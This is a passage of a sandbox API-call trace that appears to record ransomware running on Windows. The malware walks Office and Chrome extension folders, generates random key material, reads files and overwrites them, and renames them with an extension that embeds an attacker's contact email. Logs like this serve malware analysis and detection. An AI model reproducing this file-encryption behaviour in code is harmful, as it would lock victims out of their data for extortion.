dwReserved1=0x0, cFileName="button.gif", cAlternateFileName="")) returned 1 [0189.347] wcscmp (_String1="button.gif", _String2=".") returned 1 [0189.347] wcscmp (_String1="button.gif", _String2="..") returned 1 [0189.347] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xee) returned 0x12cf7260 [0189.347] wcscpy (in: _Dest=0x12cf7260, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" [0189.347] wcscat (in: _Dest=0x12cf7260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\" [0189.347] wcscat (in: _Dest=0x12cf7260, _Source="button.gif" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\button.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\button.gif" [0189.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cf7260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd0 [0189.348] FindNextFileW (in: hFindFile=0x93bbb8, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_off.gif", cAlternateFileName="")) returned 1 [0189.348] wcscmp (_String1="tab_off.gif", _String2=".") returned 1 [0189.348] wcscmp (_String1="tab_off.gif", _String2="..") returned 1 [0189.348] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf0) returned 0x12cf7358 [0189.348] wcscpy (in: _Dest=0x12cf7358, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" [0189.348] wcscat (in: _Dest=0x12cf7358, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\" [0189.348] wcscat (in: _Dest=0x12cf7358, _Source="tab_off.gif" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_off.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_off.gif" [0189.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cf7358, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1038 [0189.349] FindNextFileW (in: hFindFile=0x93bbb8, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_on.gif", cAlternateFileName="")) returned 1 [0189.350] wcscmp (_String1="tab_on.gif", _String2=".") returned 1 [0189.350] wcscmp (_String1="tab_on.gif", _String2="..") returned 1 [0189.350] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xee) returned 0x12cf7168 [0189.350] wcscpy (in: _Dest=0x12cf7168, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" [0189.350] wcscat (in: _Dest=0x12cf7168, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\" [0189.350] wcscat (in: _Dest=0x12cf7168, _Source="tab_on.gif" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_on.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_on.gif" [0189.350] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cf7168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x103c [0189.351] FindNextFileW (in: hFindFile=0x93bbb8, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="tab_on.gif", cAlternateFileName="")) returned 0 [0189.351] FindClose (in: hFindFile=0x93bbb8 | out: hFindFile=0x93bbb8) returned 1 [0189.351] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911d58) returned 1 [0189.351] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d48da8) returned 1 [0189.351] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d5200) returned 1 Thread: id = 7848 os_tid = 0xaf0 [0184.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange.css")) returned 0x20 [0186.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange.css", dwFileAttributes=0x20) returned 0 [0186.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.360] GetLastError () returned 0x5 [0186.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange.css", dwFileAttributes=0x20) returned 0 [0186.360] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d48a08) returned 1 Thread: id = 7862 os_tid = 0xda8 [0185.701] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css")) returned 0x2020 [0185.703] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css", dwFileAttributes=0x20) returned 1 [0185.703] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1570 [0185.703] GetFileSizeEx (in: hFile=0x1570, lpFileSize=0x5ccfac8 | out: lpFileSize=0x5ccfac8*=6685) returned 1 [0185.703] SetFilePointerEx (in: hFile=0x1570, liDistanceToMove=0x1a19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.703] ReadFile (in: hFile=0x1570, lpBuffer=0x5ccfa4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5ccfa48, lpOverlapped=0x0 | out: lpBuffer=0x5ccfa4c*, lpNumberOfBytesRead=0x5ccfa48*=0x4, lpOverlapped=0x0) returned 1 [0185.707] SetFilePointerEx (in: hFile=0x1570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.707] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5a30 [0185.707] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5ff8 [0185.707] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5b48 [0185.707] NtQuerySystemTime (in: CurrentTime=0x5ccfa28 | out: CurrentTime=0x5ccfa28*=132174899603038000) returned 0x0 [0185.707] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x3ca8434f [0185.707] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x7af4609e [0185.707] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x5ab9551c [0185.707] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0xd9572ae [0185.707] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x46a6f8cc [0185.707] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x6d4b6bf7 [0185.707] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x14f1edbd [0185.707] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x7f7f5cfd [0185.707] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x76ee7d2b [0185.707] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x230e765 [0185.707] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x6ccbfe20 [0185.707] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x10a0836 [0185.707] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x71862989 [0185.707] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x6fd4877 [0185.707] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x679657fe [0185.707] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x78d8f420 [0185.707] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x31cb97b2 [0185.707] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x4383ecaa [0185.708] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x7d5f25f1 [0185.708] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0xbed573 [0185.708] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x7a607438 [0185.708] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x31e4c206 [0185.708] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x5d502043 [0185.708] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0xb6329b1 [0185.708] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x2ddc9762 [0185.708] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x474822ca [0185.708] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x426525c3 [0185.708] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x7bfe4921 [0185.708] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x799ef941 [0185.708] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x5e2ba334 [0185.708] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x26c24d88 [0185.708] RtlRandomEx (in: Seed=0x5ccfa34 | out: Seed=0x5ccfa34) returned 0x72813db2 [0185.721] ReadFile (hFile=0x1570, lpBuffer=0xd49a048, nNumberOfBytesToRead=0x1a1d, lpNumberOfBytesRead=0x5ccfa24, lpOverlapped=0x0) [0185.722] SetFilePointerEx (in: hFile=0x1570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.722] WriteFile (in: hFile=0x1570, lpBuffer=0x12d01008*, nNumberOfBytesToWrite=0x1a1d, lpNumberOfBytesWritten=0x5ccfa20, lpOverlapped=0x0 | out: lpBuffer=0x12d01008*, lpNumberOfBytesWritten=0x5ccfa20*=0x1a1d, lpOverlapped=0x0) returned 1 [0185.724] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5a30 [0185.724] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5b48 [0185.724] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b48) returned 1 [0185.724] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d01008) returned 1 [0185.724] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd49a048) returned 1 [0185.724] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c620) returned 1 [0185.724] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2db8) returned 1 [0185.724] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x25) returned 0x8d8928 [0185.724] SetFilePointerEx (in: hFile=0x1570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.724] WriteFile (in: hFile=0x1570, lpBuffer=0x12cf5fe0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x5ccfa88, lpOverlapped=0x0 | out: lpBuffer=0x12cf5fe0*, lpNumberOfBytesWritten=0x5ccfa88*=0x109, lpOverlapped=0x0) returned 1 [0185.725] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5fe0) returned 1 [0185.725] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88f8) returned 1 [0185.726] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b48) returned 1 [0185.726] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8928) returned 1 [0185.726] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5a30) returned 1 [0185.726] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5ff8) returned 1 [0185.726] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b70) returned 1 [0185.726] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c58a0) returned 1 [0185.726] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x186) returned 0x8fb890 [0185.726] wcscpy (in: _Dest=0x8fb890, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" [0185.726] wcscat (in: _Dest=0x8fb890, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.mailto[2Hamlampampom@cock.li].cd46d" [0185.726] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x5ccfa40, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0185.726] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x19c) returned 0x134e2988 Thread: id = 7875 os_tid = 0x1c7c [0185.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagestyle.css")) returned 0x20 [0185.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageStyle.css", dwFileAttributes=0x20) returned 0 [0185.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagestyle.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0185.774] GetLastError () returned 0x5 [0185.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageStyle.css", dwFileAttributes=0x20) returned 0 [0185.774] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4da0) returned 1 Thread: id = 7894 os_tid = 0x968 [0186.081] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json")) returned 0x2020 [0186.081] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json", dwFileAttributes=0x20) returned 1 [0192.389] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a74 [0194.605] GetFileSizeEx (in: hFile=0x1a74, lpFileSize=0x283ff2c | out: lpFileSize=0x283ff2c*=175) returned 1 [0194.605] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9093c0 [0194.605] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909730 [0194.605] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909988 [0194.605] NtQuerySystemTime (in: CurrentTime=0x283fe8c | out: CurrentTime=0x283fe8c*=132174899691958000) returned 0x0 [0194.605] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x645e9f21 [0194.605] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x414d94fb [0194.605] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x4911cd27 [0194.605] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x3d8e9720 [0194.605] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x66623392 [0194.605] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x22d85a06 [0194.605] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x3daecc04 [0194.605] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x1cf2d360 [0194.605] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x4098900d [0194.605] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x9a68b81 [0194.605] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x15a0f53d [0194.605] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x5e8d5eb [0194.605] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x4d04a490 [0194.605] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x297a3012 [0194.605] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x1c3ba2ac [0194.605] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x3409735d [0194.606] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x548a5c97 [0194.606] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x524a30b0 [0194.606] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x4902db13 [0194.606] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x30bba9a1 [0194.606] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x5b1f77d [0194.606] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x53fff09c [0194.606] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x4f46f330 [0194.606] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x1868969a [0194.606] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0xe2b67c1 [0194.606] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x635fdd70 [0194.606] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x372d0730 [0194.606] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x8b39021 [0194.606] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x43e86207 [0194.606] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x5a8ac62 [0194.606] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x4e847c56 [0194.606] RtlRandomEx (in: Seed=0x283fe98 | out: Seed=0x283fe98) returned 0x72fa2cc2 [0194.618] ReadFile (hFile=0x1a74, lpBuffer=0x13342068, nNumberOfBytesToRead=0xaf, lpNumberOfBytesRead=0x283fe88, lpOverlapped=0x0) [0194.621] SetFilePointerEx (in: hFile=0x1a74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.621] WriteFile (in: hFile=0x1a74, lpBuffer=0x1334e870*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x283fe84, lpOverlapped=0x0 | out: lpBuffer=0x1334e870*, lpNumberOfBytesWritten=0x283fe84*=0xaf, lpOverlapped=0x0) returned 1 [0195.911] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9381a8 [0195.911] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938158 [0195.911] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938158) returned 1 [0195.911] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1334e870) returned 1 [0195.911] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13342068) returned 1 [0195.911] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8bc0) returned 1 [0195.911] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f98d0) returned 1 [0195.911] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f68a0 [0195.912] SetFilePointerEx (in: hFile=0x1a74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.912] WriteFile (in: hFile=0x1a74, lpBuffer=0x12cf60f8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x283feec, lpOverlapped=0x0 | out: lpBuffer=0x12cf60f8*, lpNumberOfBytesWritten=0x283feec*=0x10b, lpOverlapped=0x0) returned 1 [0195.984] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf60f8) 